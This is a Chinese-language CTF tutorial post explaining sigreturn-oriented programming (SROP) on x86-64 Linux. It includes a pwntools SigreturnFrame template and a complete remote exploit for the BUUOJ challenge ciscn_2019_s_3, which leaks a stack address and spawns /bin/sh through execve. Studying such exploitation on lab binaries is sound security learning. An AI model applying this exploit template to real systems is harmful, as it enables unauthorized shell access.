SROP
SROP
知识点
signal机制(见wiki)
攻击原理
刚才的signal机制通俗来说就是,用户端发出的信号后,寄存器会被保存到内核中,后面再从内核中取出来这些寄存器的值,而这些内核中的内容是存在于用户端的地址空间上的,所以我们可以修改这些寄存器的值,从而构造ROP链。
攻击流程
首先我们需要进入signal框架,这里64位的系统调用好为0xf(15),32位的系统调用号为0x77(119),我们需要把rax寄存器赋值为signal框架的系统调用号之后再调用syscall即可进入signal框架。
进入到signal框架后,即可修改寄存器的值,如果你想执行shell,那就需要令rax=59,rdi=/bin/sh,rsi=rdx=0,rip=syscall,如果想调用一系列的函数,只需要把rax赋值成对应系统调用号,正确传参,最重要的一点是把rip上的gadgets从syscall改成syscall;ret; 这样就可以连接到下一个signal框架。攻击流程大概就是这样,那么如何在signal框架中修改寄存器的值呢,这点pwntools给我们提供了很方便的工具,照着模板套就可以了。
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
要注意写payload的时候要把signal框架写成bytes(frame),外面不需要再加上p64()。
再来自考一下什么情况下可以用SROP,首先是能找到控制rax寄存器的gadgets或者程序中有给rax赋值成signal系统调用号的汇编指令,还要有syscall这个gadgets,这两个应该算作SROP的大前提,有了这两个大前提,当我们发现程序中的gadgets不足以控制寄存器执行需要的函数时,就可以考虑SROP。
例题
ciscn_2019_s_3
https://buuoj.cn/challenges#ciscn_2019_s_3
和上一篇博客的例题一样,换了SROP的方法。
在栈上写binsh并找偏移之前的过程就不写了,参考上一篇博客ret2csu,写的很详细,这里我们从ida中的gadgets函数开始讲起
上一篇是因为看到了下面的mov rax,0x3b,这是exceve的系统调用号,所以我们通过ret2csu构造出了ROP链,但其实gadgets函数里面还有一个mov rax,0xf,这是64位的signal框架系统调用号,我们可以由此进入signal框架控制寄存器,进行一次SROP就可以执行shell。
exp如下:
from pwn import *
r=remote("node5.buuoj.cn",25369)
\#r=process("./pwn")
context(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF("./pwn")
main=elf.sym['vuln']
pop6=0x40059a
mov_rdx_r13=0x400580
pop_rdi=0x4005a3
mov_rax_0xf=0x4004DA
execve=0x4004E2
syscall=0x400501
payload=b'/bin/sh\x00'*2+p64(main)
\#gdb.attach(r)
r.sendline(payload)
r.recv(0x20)
binsh=u64(r.recv(8))-0x118
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload=b'/bin/sh\x00'*2+p64(mov_rax_0xf)+p64(syscall)+bytes(frame) //最核心的内容
r.sendline(payload)
r.interactive()


